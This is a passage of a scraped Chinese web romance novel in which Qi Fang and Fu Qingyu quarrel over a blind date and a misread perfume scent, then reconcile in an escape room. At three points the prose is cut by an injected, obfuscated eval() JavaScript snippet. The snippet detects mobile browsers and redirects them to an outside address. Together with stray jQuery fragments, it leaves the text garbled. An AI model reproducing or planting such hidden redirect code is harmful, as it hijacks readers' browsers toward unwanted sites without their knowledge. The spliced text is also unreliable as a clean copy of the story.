杨灿看他过来,满脸写着不乐意,“你大爷的,叫你吃饭打球你不去,回家给你自己打扮的这么骚包,你来这走秀台了。” 祁放也不耷拉脑袋了,笑着说:“你懂啥,晚上有事呢。” 杨灿鄙夷地看他一眼,“切,晚~上~有~事~呢~” 祁放懒得搭理他,转头看向陈昊飞,“烧退了吗?” 陈昊飞嗓子哑得不行,杨灿替他说了,“三十七度多,等点滴挂完,再量一次。” “陈昊飞。” 三人寻声看去,陈昊飞声音哑得说不话,杨灿又不认识她,只剩祁放出声,“黎夏?你怎么过来了?” 黎夏上气不接下气,看着陈昊飞,“我来看看他。” 陈昊飞眉头微微皱着,眼里的心疼都要溢出来了。 杨灿和祁放退到一旁,瞄了眼两人,吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966561|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一嘴狗粮。黎夏一来,陈昊飞简直容光焕发,祁放精心打扮过的一身都显得黯然失色。 杨灿小声问:“这个女生是谁?” 祁放:“之前跟你说过,小巷子醉酒的那个女生。” 杨灿嗷了声,“不是?陈昊飞什么时候谈上的,靠,怎么都不跟咱俩说,太不是人了。” 祁放一脸羡慕,“不知道,可能没来得及说吧。” 杨灿叹息,“没事兄弟,我陪你打光棍。” 祁放拍了拍他的肩膀,叹息,“不用了,你自己打光棍吧。我今天晚上要去撒泼打滚。” 付轻屿亲完祁放后,心像一团乱麻,越扯越紧,越想捋清楚,越乱。她舍不得放手,又拿不起这段感情。 躲了这些天,她终于做好决定,打算找时间跟祁放说明白。不清不楚地拉扯,太伤人了,谁都不好受。 刘云岚去买菜,临出门时,问了她一句,“有什么想吃的吗?” 这句问话,好像回到了小时候,回到了没有因为成绩工作吵得天翻地覆时。 付轻屿突然不知道该说什么,半晌回了句,“都行。” 刘云岚“嗯”了声,关门离开。 今年春节,付轻屿提前半个多月回来,刘老师和付医生有些吃惊,又没什么表现。 付医生工作忙,节假日也是排班休息。刘老师带高三,放寒假也得盯着作业群的打卡,督促学生抓紧最后关头。 不去学校,刘老师也约着朋友打两把牌,做做饭。付医生忙地转不开身时,她也会去送饭。 三人陷入了奇怪的平静。 只要不提工作,付轻屿和刘老师便可以相安无事。 付轻屿回家这些天,也想了很多。她对刘老师爱也爱不起来,恨也恨不起来。 刘老师对她很宽容,宽容到二十多年,除了成绩和工作,什么都没束缚过她。刘老师对她也很残忍,只要说到成绩和工作,就看不到她是一个活生生的人,看不到她也有自己的意识,有自己的思想,有不管怎么努力也够不到的高处…… 晚饭,一家三口终于聚到了一起,新闻联播的声音消解着饭桌的尴尬。 刘云岚瞧了付轻屿几眼,终于开了口,问得生硬又直接,“谈对象了吗?” 付轻屿摇头,“没有。” 刘云岚夹着菜,往嘴里送了半边没送进去,“刘主任有个外甥,年纪跟你差不多大,国企上班,长得还不错,也没对象,相亲吗?” 付轻屿一时没接上话。 刘云岚看她表情,紧接着说,“你不愿意就算了,他说了几次,我就问问你。这事随你,我不是催你。爱结婚就结婚,不结就不结,男的女的,自己眼睛擦亮点。” 付轻屿停筷,关于相亲,刘云岚肯定是拒绝了好几次,没拒绝掉。要不然,她才不会低声下气地先开口。毕竟,在刘老师眼里,结婚远远没有工作重要。 “可以,相亲不就是见个面,一起吃个饭嘛。”付轻屿继续吃饭,刘主任是上司,刘老师拒绝太多次,也不好。不如吃个饭,她自己了断。 刘云岚松了口气,将电话号码发给付轻屿,说着可以先加个微信。 这段饭起了话头,付医生也跟着说了两句。 “姐,你快到了吗?”祁放站在家门口左右张望。 颜泠被他问烦了,没好气道:“还有一个红绿灯口,你着什么急?催什么催?” 祁放选择性回答,“我就在门口站着呢。” 颜泠直接给电话挂了。 祁放看着一个黑车停在面前,紧张地搓了搓手,盯着主驾驶的人下车,“……李杨…哥?” 颜泠下车喊他,“催什么催,你这两天吃错药了,拿行李!” 祁放看看颜泠,又看看李杨,“哈?” 付轻屿呢? 31. 31 李杨和祁放打了声招呼,将行李都拿下车,全程没说话,关好后备箱,只留下句,“走了,注意休息。” 颜泠面无表情地点点头。 祁放想着客气一下,叫李杨回家坐坐,毕竟都送到家门口了。但是看两人间的气氛,似乎不太对劲,他就没多嘴,只说:“李杨哥,路上注意安全。” 李杨抬头看他,顺带点了下头,视线又在颜泠身上落了片刻,才上车离开。 祁放包揽下全部行李。 颜泠蹙眉看他,“你这几天干什么?跟催命似得,以前怎么没见你盼我回来?” “爸妈知道你要回来,按耐不住了。他们又不好意思催你,所以啊,这挨骂的消息就让我发喽。” 祁放编得有理有据,颜泠一听,也像这么回事,就没多想。 祁放这只花孔雀已经蔫了不少,“怎么是李杨哥送你回来的?” 颜泠想起他就心烦,绷着脸,说话也带怒气,“别提他!” 本来有个漂亮小男生约她,全被李杨搅黄了,颜泠怒火上头,差点想把他压下办了,一看他那黑扁框眼镜看痿了。 祁放看这架势,识相地不提李杨,开始旁敲侧击,“你这几天怎么安排?” 颜泠火气没消完:“你有事?” “没有啊,”祁放摇头,“就是问问。” 颜泠思忖了下,“没什么安排,在家休息。” 祁放追问:“明天,一整天都在家休息啊?” “不然我能干什么去?好不容易能休息了,我非得出去扭两圈秧歌咋的?”颜泠越说,越感觉哪里有些不对劲,死死盯着他,“你到底有什么事?” “我没事啊,我就是问问。”祁放说,“你不出去玩啊?” 颜泠懒得想他那奇葩脑回路,“先休息一天再说。” 今天没见到付轻屿就算了,明天也见不到,祁放这只花孔雀彻底蔫了。 刚到门口,还没等开门,祁放的手机先响了。 黎夏打来的。 祁放蹙了下眉,颜泠在他身边,看到名字后挑了下眉。 祁放接起电话,“怎么了?” 黎夏:“哎,祁放,你看阿飞的钥匙在你那吗?他记得放在了桌上,上菜时,好像是你给收起来了。” 祁放摸了把口袋,不仅有陈昊飞的钥匙,杨灿的耳机也在。“在我这,我给送过去吧。” 黎夏看了看身边的病号,只好麻烦祁放跑一趟了,“我给你发个地址,麻烦了,阿飞和我在这等会。” 颜泠想起快开学的那段时间,这个叫黎夏的女生经常找祁放和陈昊飞出去,听付轻屿说,她还是祁放的学姐。一个学校,近水楼台先得月,看来是有情况啊。 颜泠燃起一颗八卦心,耳朵支棱起来,可惜电话声太小,她没听见几个字。 见祁放挂断电话,颜泠立即问,“这个黎夏学姐,找你干啥?” “送钥匙。”祁放点开聊天消息,黎夏给他发了个酒店位置。黎夏家在隔壁省,来一趟要两三个小时,看来今晚不打算回去了。 送钥匙?颜泠瞄了眼祁放的消息界面,眼睛都瞪直了,酒店位置?! 她这不精神的弟弟,要出去开房?! 祁放忙着打车,没注意颜泠,“我先出去趟。” 颜泠愣了下,冲他喊:“这大晚上的,你可别祸害人,别干混蛋事。” 祁放步伐没停,“啊?” 颜泠‘啧’了声,“那什么,你也别让人家给祸害了。” 祁放转头,疑惑地看她一眼,留下句,“什么跟什么啊?我先走了。” 颜泠还想说点什么,又觉得没什么好说的。都成年了,两个人你情我愿的,又不是不懂事,都知道自己想要什么。 颜泠思忖片刻,算了,不管了,也没什么好管的。 颜利玫和付荣民都没回来,颜泠看着空落落的客厅,越想越气,拿出手机给李杨发了串‘问候’——王八蛋,净坏她好事。 祁放送去钥匙,看完两人你侬我侬的告别,又给陈昊飞这个病号送回家,被陈妈留下坐了会,兜兜转转四个多小时才回去。 祁放回家,上到二楼,正巧碰到颜泠出来接水。 颜泠看了眼时间,又看向他,“你还回来啊?” 祁放溜了一晚上,拖着身子往卧室走,有气无力地说:“你在讲什么废话。” 颜泠摇了摇头,“渣。” 祁放点进付轻屿的朋友圈,还是什么都没有,他犹豫了半天,没发消息打扰。 喝醉后到底干了什么啊?祁放带着满脑子猜测入睡,甚至梦到自己喝醉酒后,把徐家明打了,场面一度混乱,甚至还报了警。 警车的声音若隐若现,逐渐变成了电话铃声,祁放闭着眼接了。陈昊飞叫他去吃饭,并公布了恋爱消息。 被强行塞了把狗粮,祁放困意全无,起床收拾。 颜利玫正在给颜泠分享新调制的香水,见祁放穿得人模狗样的,颇为诧异。毕竟,他前几天像个流浪汉一样,形象全无,只有脸还能看。 颜泠先问了句,“干什么去?” 祁放在冰箱拿了瓶果汁,润润嗓,“吃饭。” 颜泠继续八卦,“跟谁啊” “就他们俩,还有黎夏。”祁放也问她,“你明天有没有安排?” “没有。”颜泠摇头,“你要想请我吃饭,我可以考虑一下,赏个脸。” “别赏了,要点脸。”祁放心急,“你就一直憋在家里,也不出去找……找朋友玩?” 颜泠抱住颜利玫,“我要陪颜妈。” 祁放心里暗叹,必须改变策略,颜泠太不靠谱。 颜利玫是调香师,每次调制出新款,都要把一家人腌入味。祁放出门,简直就是个人形玫瑰香薰,仔细闻,还有依兰和橘子的味道。 “这孩子,不知道是想开了,还是感情有进展了。”颜利玫收起香水,开始跟颜泠念叨,“他回来这些日子,就今天还有个人样。” 颜泠听完,和颜利玫一对信息,立即明白过来,“前几天肯定是闹矛盾呢,昨晚,黎夏都来找他了,这还有啥不好的。你不知道,他昨天晚上就穿得人模狗样,往路边一站,跟只花孔雀似得。” “听你一说,这时间就对上了。”颜利玫问,“你有黎夏的照片吗?我看看。” 颜泠摇头,“我哪有照片,只听祁放提过她的名字。两人相遇还挺有意思的,你儿英雄救美。” 颜利玫拉住颜泠,两人八卦了不少。 颜泠转头把这事分享给付轻屿,“还真让你说对了,年纪小,青春期躁动,想得开。我还担心过他会赖上你,纯属多虑了。” 付轻屿听到酒店地址,后面就没怎么听进去。明明是件好事,她不用去解释,不用把自己的性向摆出来,关系也就到这了。明明是件好事,她心里却堵得慌。 付轻屿听颜泠说完,草草回应了几句,把电话挂断。 关于相亲,颜泠只在剧本里看过,听付轻屿一提,注意力全被吊了过去,一门心思地好奇,那个相亲男长什么样?两人见面聊点啥?会不会遇到个奇葩啊? 颜泠憋了一下午,眼看到了晚饭时间,实在忍不住,开始发消息骚扰付轻屿。 颜泠:见到人了吗?咋样啊? 颜泠:长相如何? 颜泠:正常人吗?需要我解救你,就发条消息。 “解救谁啊?”祁放一进门,就看见颜泠在手舞足蹈地发消息,完全没注意到他这个大活人。 颜泠转头看他一眼,还沉浸在跟付轻屿的聊天中,随口道:“不解救谁,轻屿去相亲了,我远程把把关。” 祁放头脑一懵,钥匙从手里滑落,压着眉头重复道:“付轻屿去相亲了?” 颜泠点头,“是不是吓一大跳,轻屿这条件,哪缺追求者啊。不过家里介绍的,不好拒绝。听她说,男的还不错,挺成熟的,就是有点腼腆。” 祁放哪还坐得住,心里急地提溜转,只想开口问付轻屿的地址,想找她当面问清楚。颜泠的电话铃声扼住他的喉咙。 祁放垂下眼,问什么呢?拿什么身份问呢? 颜泠接完电话,给祁放派了个话,“你把鞋柜旁的箱子拿给跑腿小哥,我就不找外套出门了,给轻屿带的东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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付轻屿没动,祁放便朝她走过来,带着一股女士香水的味道。付轻屿嗅到香味的瞬间,太阳穴直跳,一股莫名的情绪在体内乱窜,直冲脑门。 祁放看着她,眼神透着委屈,每个字都说得咬牙切齿,“你去相亲了?” 付轻屿“嗯”了声,明显不想多说。 祁放满脑子都是两人下车后说笑的画面,不自觉地冷笑了下,“感觉怎么样?看他年纪不小,挺成熟的,合你心意吗?” 付轻屿压着怒意,尽量表现得十分理智,“有事说事。” 祁放冷着脸说:“怎么?正合你心意啊。” 付轻屿第一次看到祁放这幅表情,要是相亲男还在,他怕是要扑上去咬死人家,再吐两口唾沫,嫌人家血脏。 “怎么?没合你心意啊。”付轻屿没耐心跟他瞎扯,“有事说事,没事回去。” “你这些天为什么躲着我?”祁放说着往前走了步,又被付轻屿一个眼神定在原地,没敢轻举妄动。 只靠近了一步,那股该死的香气更浓烈了,付轻屿有些喘不上气,瞪了祁放一眼,出去招惹一身味,还敢来找她,真是欠教训。 想到这,付轻屿攥紧手里的包,谁爱教训谁教训,不管她事。 付轻屿深呼一口气,“哪躲着你了?我说过,忙。” “忙着相亲?” “这是我的事。作为朋友,你不觉得自己管得太宽了吗?”付轻屿说,“还有,不要有事没事就跑过来,我没空接待你。” “谁想跟你做朋友?你以为我说喜欢你,是说着玩的?是我想跟你做朋友吗?”祁放后槽牙都快咬碎了,问出自己最不想问的话,“付轻屿,你吊着我啊?” “我吊着你?你别太看得起自己。我只是看在颜泠的面子上,才忍着你。”付轻屿的理智被他身上的香水味熏没了,“装什么情圣,你身边围着的人少啊?少在我这装可怜。” “你骗人,”祁放满身怒气被她一个字一个字凿没了,只剩委屈,又敏锐地察觉到一丝不对劲,“你干啥这么跟我说话?你怎么了?” 之前看他落泪,付轻屿还会心疼,现在怒火攻心,只想夸他句,“好演技。” 付轻屿的理智跟情绪做斗争,奈何香水味太毒,理性大败亏输。“你以后爱找谁找谁,别来烦我,我陪你玩够了,没空参与你的大脑跟下半身互搏。我不喜欢你了,也不想看见你,别来烦我。” 祁放僵在原地,大脑一片空白,嘴唇颤动,想张又张不开,只有眼睛像两个水龙头,死活关不上。 付轻屿感觉脑袋要炸了,直接从他身边绕过去,一秒都不想多待。 32. 32 付轻屿快步走回家,烦人的香水味褪去,心情也平复了不少。她进门前调整过表情,或许是夹带着一身寒气的原因,整个人的气压低得骇人。 刘云岚坐在沙发上,眉头压低,眼角微眯,查看着高三学生的作业,显然是刚训完学生,气压更低一筹。 两人互相看了眼,可惜视线没对上。 付轻屿先开口破局,“还没弄完?” 刘云岚“嗯”了声,语气不善,还残留着没发完的怒火,“有几个刺头。” 付轻屿没多说,转身回了自己房间。 刘云岚对相亲没抱什么期待,她和付轻屿的态度一样,都是应付。她应付刘主任,付轻屿应付她。 见付轻屿的模样,八成是相亲不顺利。对这事,刘云岚本来就不上心,也没再问。 付轻屿卸妆冲澡,一套护肤流程下来,给自己甩到床上。 闲下来,祁放那张脸就在脑海里晃,付轻屿烦躁地闻了闻自己,总感觉那股香水味没洗下去,还在围着自己转。 她爬起来点了个香薰,这才舒坦不少。 居然情绪失控了。 托刘老师的教导,付轻屿从小就知道情绪不是个好东西,一个人的能有多厉害,多半取决于她处理情绪的速度。 可惜刘老师没把这武功秘籍说透,付轻屿错把‘处理’当成了‘隐忍压制’,导致她剑走偏锋,练到高三那年,险些走火入魔丢了小命。 或许人生真会触底反弹,就像电影里的大侠,被逼到绝境后,武功就会突飞猛进,她还真领悟到了刘老师的武功秘籍。 悟没悟透就不知道了。但是这些年,凭借自己打造的一套处事逻辑,生活几乎是稳步攀升,情绪上更是没有失控过。 没想到被祁放这个毛头小子破功了。 付轻屿静下心来,理智占据上风,开始后悔自己的情绪化处理,明明有更好的方法解决这段关系。 撕破脸,颜泠在中间也难做…… 祁放应该不会跟颜泠说吧?吃着碗里看着锅里的事迹,还能四处招摇? 也不一定,毕竟脑子和下半身分离是他们的劣性。说不定,稍加词语美化,还能讲成段白月光和朱砂痣的故事。 付轻屿越回想,体内的防御机制开得越大,怪不得跟祁放在一起时,心里异常舒坦,合着是演她呢。还有他那上四休三的‘工作安排’,付轻屿给他扣了个时间管理大师的帽子。 上次醉酒,肯定也是演的,小王八蛋! 还真是将她喜好摸透了! 怎么就没把4i的事跟他说了,吓不死他!不对,怎么就没演他,演到直接把他办了。 之前的事过了遍脑子,越想越气。祁放居然还说被她吊了,吊什么吊?付轻屿直接将其称为‘互演’,破罐子破摔,就这样了,管他呢。 颜泠才是她该担心的。 付轻屿睡了一觉,彻底跟这事翻篇,开始寻找工作机会。 休整了好几个月,付轻屿斗志十足,却没有工作施展拳脚。 IKI的合同已到期,品牌方有续约意向,付轻屿回绝了。一是祁放跟IKI还有半年的合同,闹成这样,工作时抬头不见低头见,万一再拍个情侣款,纯粹是给她自己找不痛快。另一方面,她也想往更大的平台跳,有能力为什么不争一争。 有空期的消息,付轻屿和几个关系不错的摄影师说过,也在视频平台上提及过,风声已经放出去了。 年前,付轻屿不打算主动联系品牌方,她在等。之前没空期的时候,有几个品牌抛过橄榄枝,她想等等看,毕竟被工作找,条件更好谈。 付轻屿不想把模特做主业,待遇是不错,但青春饭让她觉得不稳。 回到主业,主持人的工作又是一个萝卜一个坑,目前还没有看到合适的机会。 付轻屿大肆搜刮工作消息,在家泡了两天,平静的生活被颜泠一通电话打破了。 “黎夏跟陈昊飞在一起了?”付轻屿难以置信,声音都拔高了。黎夏、陈昊飞和祁放,这又是个什么狗血故事?俩兄弟争女人? 颜泠叹息,“我知道的时候,就是你这个反应。”实际上,她的反应更为夸张,震惊地差点给房顶掀了。 付轻屿皱眉疑惑:“陈昊飞把黎夏抢走了?” “哎呀,不是,我吃瓜吃错了。”颜泠恨啊,她在娱乐圈混了这些年,练就一双火眼金睛,哪对是真的,哪对是假的,一眼便知,没想到在祁放身上栽了跟头。 颜泠将问题归咎于没见过黎夏,要是见过她和祁放,绝对一眼辨真假。 付轻屿被她说得云里雾里,“嗯?什么意思?” “黎夏从始至终追的就是陈昊飞,来北泉也是为了陈昊飞,两人已经在一起了,朋友圈都秀上了。”颜泠叹了口气,有点遗憾的意思。 付轻屿一个头三个大,“黎夏叫祁放去酒店,又是怎么回事?” “送钥匙。”颜泠啧了声,很是惭愧,祁放确实跟她说过,但是但是!送钥匙和女生给他发酒店位置,当然是后面这个更抓人大脑,信息完全不是一个量级。 她搞错,那是情理之中,情有可原。 颜泠给自己找了一堆辩词,只化作一声叹息,“陈昊飞发烧把嗓子烧哑了,隐约记得钥匙在祁放这,黎夏替陈昊飞打的电话。后面就是祁放先去送了钥匙,又送了陈昊飞回家。” 付轻屿没说话,整个人都是懵的,灵魂出窍了。 颜泠“啧”了声,又开始推理,“我感觉祁放肯定是喜欢黎夏,但是黎夏又喜欢陈昊飞,所以他为了兄弟的幸福,没争没抢,一路助攻,静静看着两人幸福,自己躲回家哭。这要是拍电视剧,妥妥的钟情男二啊。 你都不知道,前天,不对,是大前天,就是我让跑腿给你送东西那天,祁放三更半夜才回来,哭的啊,眼睛鼻子通红,问啥也不说,我也没当回事。第二天还哭,两眼就跟悲伤蛙一样,肿的啊,都没法看,脸也跟猪头似的,可把颜妈吓坏了。自从上了幼儿园之后,祁放哪这么哭过,高考失利那年,他都没掉几滴泪。 哎,没办法。没谈过恋爱就不说了,上来还拿个这么狗血的剧本。他那脑袋,放放水也是好事。 今天好些了,又被杨灿拉出去,听说陈昊飞也在。晚上回来,还不知道是啥样呢。” 虽然颜泠分析得头头是道,但是祁放为什么哭,付轻屿最清楚不过了,是被她说哭的,从她面前就开始哭了。 仔细回想那晚,祁放早就知道她去相亲了,一脸吃了火药的表情,明显是醋炸了,跑过来闹她。 付轻屿搓了把头发,这都是什么事啊? 她是彻底搞不清楚了,不管祁放喜不喜欢黎夏,他那一身的香水味是哪来的?相处半年多,祁放从来没有喷香水的习惯,而且那款香味很甜腻,按市面上划分,明显是款女香,哪怕祁放要喷香水,也不会选款女香吧? 付轻屿心里乱糟糟的,两天后,终于知道香水是怎么回事了。 颜泠带着同款香水味来了。 还有一天过年,颜泠叫着李杨和付轻屿吃饭。营销号的案子还在拉扯,他们也成功演示了什么叫死猪不怕开水烫,过年这几天也不消停,想借颜泠割点热度。 “新换的香水?”对这个味道,付轻屿实在没法装作不在意。 颜泠都不记得自己喷的哪款,闻了下衣服才说:“这个啊,颜妈新调的款,市面上还没有呢,你喜欢的话,我给你带来。” 付轻屿有种被打通任督二脉的感觉,“颜妈是调香师?” “对啊,我记得跟你说过。”颜泠自己也不记得了,转头看了李杨一眼,“哎!我是不是说过?” 李杨不急不慢地喝了口水,肯定道:“说过。” 付轻屿点点头。可能是初中或者高中说过,那时候对这些不感兴趣,也就没往心里去。 颜泠跟外婆待得时间长,付轻屿对外婆的印象更多,可惜人去房空了。 至于颜妈,她不在泉州,付轻屿没见过,只了解她对颜泠很好,再多……好像真没什么印象了。 搞清香水怎么回事,付轻屿没感到轻松,反而更乱了。她隐约猜到,祁放并没有四处招惹,自己搞错了。 “咱三好不容易聚在一起,可多亏了李杨赏面。”颜泠略带挖苦的口气说,“一会去唱歌吗?还是?” “唱歌,唱歌去吧,这一下午的大好光阴,绝对不能浪费啊。”杨灿扯着大嗓门嚷嚷,“你俩可别跟我说回家睡觉。” 陈昊飞嗓子还没好利索,无奈地看他一眼,“你觉得我能唱什么?” 杨灿一挑眉,“唱两句小情歌,给女朋友听啊。” 陈昊飞微微张开的嘴巴又闭了回去,轻咳一声,被说动了,“我都行。” 杨灿拐了祁放一胳膊肘,“唱歌,你肯定没问题,走吧走吧。” 祁放精神头不大,也懒得想,杨灿开口了,他就点点头。 前两天哭得太狠,虽然消肿了,但祁放眼周泛红,特别是眼尾,看着都快被蹭破了。还有红彤彤的鼻子,一碰都疼。 杨灿给两人拉到包间,一股脑点了二十多首,势必要一展歌喉。 “……既然你非要你的自由,挽留也会让我委屈到最后。” 祁放听着歌词,抬头看着屏幕上的歌名《预谋》,杨灿选的歌,还挺应景。 “煎熬了这么久,已没有继续的理由。”祁放皱了下眉,这句他又感觉不喜欢了。 “反正她都不难受,她只要自由,她都不会理会我的感受……”杨灿大白嗓,加上跑到姥姥家的调,实在没法听了。 祁放拿起话筒,给两人洗了洗耳朵,唱完更难受了,人家歌词里唱分手,他都没手分。唱完这首,他又蔫蔫地坐到沙发上,充当气氛组,配合杨灿开演唱会。 唱了一下午,三人简单吃了点东西,杨灿念叨了很久的密室逃脱,今天终于将两人拽去了。 祁放和陈昊飞都不玩恐怖主题,好不容易上了个偏解密类的,杨灿哪能放过这机会。 刚走进店门口,祁放眼神一扫,呼吸就停滞了。 世界就是这么操蛋,用尽千方百计都遇不到的人,在不抱任何希望、最狼狈的时候,就这样偶遇了。 祁放利落抓起卫衣的帽子扣在头上,掩耳盗铃。 杨灿5.0的视力,向来不够用,脑子不好,视力再强也白瞎。快走到前台时,他才看见颜泠,下意识虎躯一震,毕竟小时候被颜泠追着打了两条街,这股子害怕像是长到了基因里,每次见面都是这个狗熊反应。 颜泠倒是先一步看见了他,“哎,你三来的正好,拼一场。” 付轻屿转头,反应就跟祁放一样,也傻了下。祁放偏着头,没看她,卫衣帽子挡着,只露出几缕头发和泛红鼻尖给她看。 很明显,祁放早就看到她了。他正在用这幅样子跟付轻屿示威,“我可不是围着你转,我就是来玩的,别以为我是来找你的!” 杨灿和陈昊飞先是叫了声,“颜泠姐。”只有祁放拽着脑袋,没张嘴。 杨灿笑着说:“我们不玩恐怖主题,你看合适吗。” 颜泠没太注意杨灿,眼神在陈昊飞和祁放身上扫了圈,心里暗暗叹了一口气。“那就玩最新的民国主题吧,偏解密的。” 颜泠都这样说了,杨灿也就应下。 前台小姐姐提醒了下,“这个民国主题,也有些恐怖元素,不多,要是一点都接受不了恐怖氛围,还是要考虑一下。” 颜泠笑着问,目光故意在李杨身上顿了下,“哦?有害怕的吗?” 一时没人说话,杨灿笑笑,“没有,就玩这个吧。” 在场几人,颜泠都认识,也就给大家互相介绍了下。 期末考试后的事,祁放没跟杨灿和陈昊飞提过,他们自然以为祁放还在追付轻屿。 杨灿没见过付轻屿,但经常听祁放念叨这个名字,今天终于见到本人了,没忍住拐了祁放一胳膊,用肢体动作说:“兄弟,矜持啥呢,你就这么追女生的啊?快点过去啊!” 祁放一转身,往旁边侧了半步,装作没看见。 付轻屿见两人的动作,本以为祁放就够直白了,没想到杨灿更胜一筹,小男生的心思,还是太好猜了。 陈昊飞见过一次付轻屿,没什么好惊奇的,表现也很平淡。不过,他察觉到了付轻屿和祁放之间有些不对劲。 这个不对劲,很快就被放大了。 一开始进场,六人一起做任务,祁放明显在避着付轻屿,尽量离她很远。 付轻屿同样也在避开和祁放接触。 玩到一半,要分成三个小队找钥匙,陈昊飞立即拉过杨灿,两人一起给祁放使眼色,让他去付轻屿那。 可惜,两人眼珠子都快撇出去了,祁放依旧不为所动。陈昊飞送了他一个白眼,装吧。 从这一刻开始,付轻屿就确定了,杨灿和陈昊飞都知道祁放喜欢她。祁放绝对没喜欢过黎夏。 付轻屿看着祁放红彤彤的鼻尖,心里更乱了。 颜泠想耍一耍李杨,当然不会错过这个好机会,一把将人带走了。 付轻屿和祁放,两个全程在躲着对方的人,被剩在原地,成了一队。 大家组队走后,两人也没说话。 付轻屿先一步走进‘地下室’支线。祁放慢悠悠地跟在后面,两人间拉开一段距离。 地下室非常破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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付轻屿努力看他,却又看不清,想要开口,却又张不开嘴。 “你说我烦,我自己躲得远远的,还不行吗?我今天不是故意找你,遇到了,没办法。”祁放顿了顿,“你呢?狠话不是你说的吗?还是说你今天高兴了,有心情了,可以逗逗我了?嗷,是不是身边没人玩了,又想起我来了?相亲对象玩够了?他多符合你的审美啊,成熟!” 付轻屿微微蹙了下眉,“祁放,你非要这样说话吗?” “你还要我怎样?是你对我挥之即来招之即去,你把我当什么了?我现在连话都不能说了是吗?你哪怕可怜可怜我,一脚给我踹得远远的,我也谢谢你。”祁放擦了把泪,现在一流泪,眼尾都生疼,“你真是没有心,哪怕是条狗,看在上赶着喜欢你的份上,多少都能心疼一下,放条生路吧。你是不是想玩死我啊?你是不是觉得我犯贱啊,是不是就想看我犯贱啊?你到底……” “祁放,你先冷静一下,我没……” 祁放开口打断她,“你要我冷静?你凭什么叫我冷静?你在这我怎么冷静!你还想要我怎样……” “祁放,你先别说话,先……” “我做不到!我受不了了,你饶了我吧。”祁放说着开始往外走,他知道再待下去只会更糟。 “祁放。”付轻屿看他情绪太不稳定,哪敢让他到处乱跑,跟着走了两步,“你去哪?你停下好好说。” “祁放。” “祁放!” “滚过来!” 付轻屿是真被他气到了,没忍住喊了一声。 祁放一怔,停下脚步,片刻后,他转身大步往她身边走,走出了同归于尽的气势。 祁放穿着鞋,毕竟一米九的个头,气势汹汹地走过来,难免给人一种压迫感。 “滚过来了?怎么?你还想怎样?” 祁放每个字都说得咬牙切齿,眼里却没多少怒气,更多的是委屈。 付轻屿轻声说:“能冷静下来吗?成熟一点,别像个小孩一样,我们好好聊聊。” 听完这句话,祁放真被刺激到了,“不能,我成熟不了!你不是让我别烦你吗,我偏不。我告诉你,我就是在想办法呢,你别等我想出来。好啊,你烦我,那我就烦死你!” 付轻屿看出来了,祁放这几天难受得不行,今天非得亮出獠牙让她看看,偏不顺她心意。 比起一味地乖顺,付轻屿感觉祁放露出小獠牙时更有意思。 “说我不成熟?你以为自己多成熟?”祁放贴到她面前,一个字一个字地挑衅道,“你才是胆小鬼,我比你成熟多了。我喜欢你,至少敢承认,敢表白。你呢,你敢说对我一点好感都没有?你有本事别说谎啊。到底谁不成熟?还有,吊着我算什么本事,你有本事喜欢我啊。” 两人离得极近,甚至能感觉到鼻息交缠,付轻屿承认,她确实被挑衅到了,不过这股怒火燃烧成了欲.望。 她一把拽住祁放的衣领,重重给他亲了一下。 祁放先是一愣,随后反击回去,付轻屿松开衣领,顺手掐住他的脖子,还是没能阻止这个吻。 不知道是谁撬开了谁的嘴,还是两人配合默契。 双方较劲,势必要将对方拆之入腹,亲死在这,付轻屿掐住他脖子上的手越用力推开,他吻得越深。 两人唇舌分开时,像濒死挣扎的鱼儿重新回到水里,拼命地喘息着。 视线一对,又开始了下一轮较量。 “祁放,轻屿。” 突如其来的一声,打断不知缠绵了多久的两人。 付轻屿瞄了祁放一眼,掐在他脖子上的手抬起,擦了擦他唇上晕开的口红印。 祁放濒临窒息后的大脑缺氧,已经傻了,脖子上的一圈红印格外显眼。他眼神直愣愣的,也不会闹了。 付轻屿给他擦完,又看过一眼,“快找钥匙。” 就这一眼,祁放看清了,付轻屿喜欢他,眼神不会骗人。 那复杂的眼神中有喜欢,有欲.望…… 祁放猛地一激灵,全身一阵酥麻,被玩死就被玩死吧!他低头在付轻屿唇上轻轻印了下,转头去找钥匙。 颜泠进来时,两人各自搜寻着线索,安静的空气中弥漫着暧昧又无措的气息。 “你们两个不行啊,这么慢。”颜泠说着,环视一圈。 话音未落,祁放把钥匙翻出来了,“找到了,走吧。” 付轻屿和祁放不躲着对方了,也不说话,从一种尴尬的气氛换到另一种。 祁放跟在付轻屿身后,抬手碰了碰嘴唇,又有些诧异——他居然会接吻!这就是无师自通天赋、天赋异禀吗? 33. 33 “时间不早了,今天先回吧。”李杨看向颜泠,“营销号那边,不管有什么情况,先联系我,别硬来。” 颜泠不情愿的“嗯”了声,有种被他管到头上,又没法拒绝的不爽。 李杨和付轻屿都是泉州人,来去顺路。他看着颜泠,“先送你,我们再回去。” 颜泠自然没拒绝。 李杨说完,又想起颜泠的弟弟和另外两个男生,开口询问:“你们要回家吗?还可以再带一个。” 杨灿和陈昊飞一听,立即给祁放推出去。 “回家回家,”杨灿笑着说,“我跟飞哥顺路,还要买点东西,你们先回。” 陈昊飞没多说,简单道别,拽着杨灿走人。 临走,杨灿还不忘给祁放使眼神,“兄弟把握好机会。” “……”祁放没给反应,当没看见。 颜泠给祁放塞到副驾驶,自己跟付轻屿挨在后排。 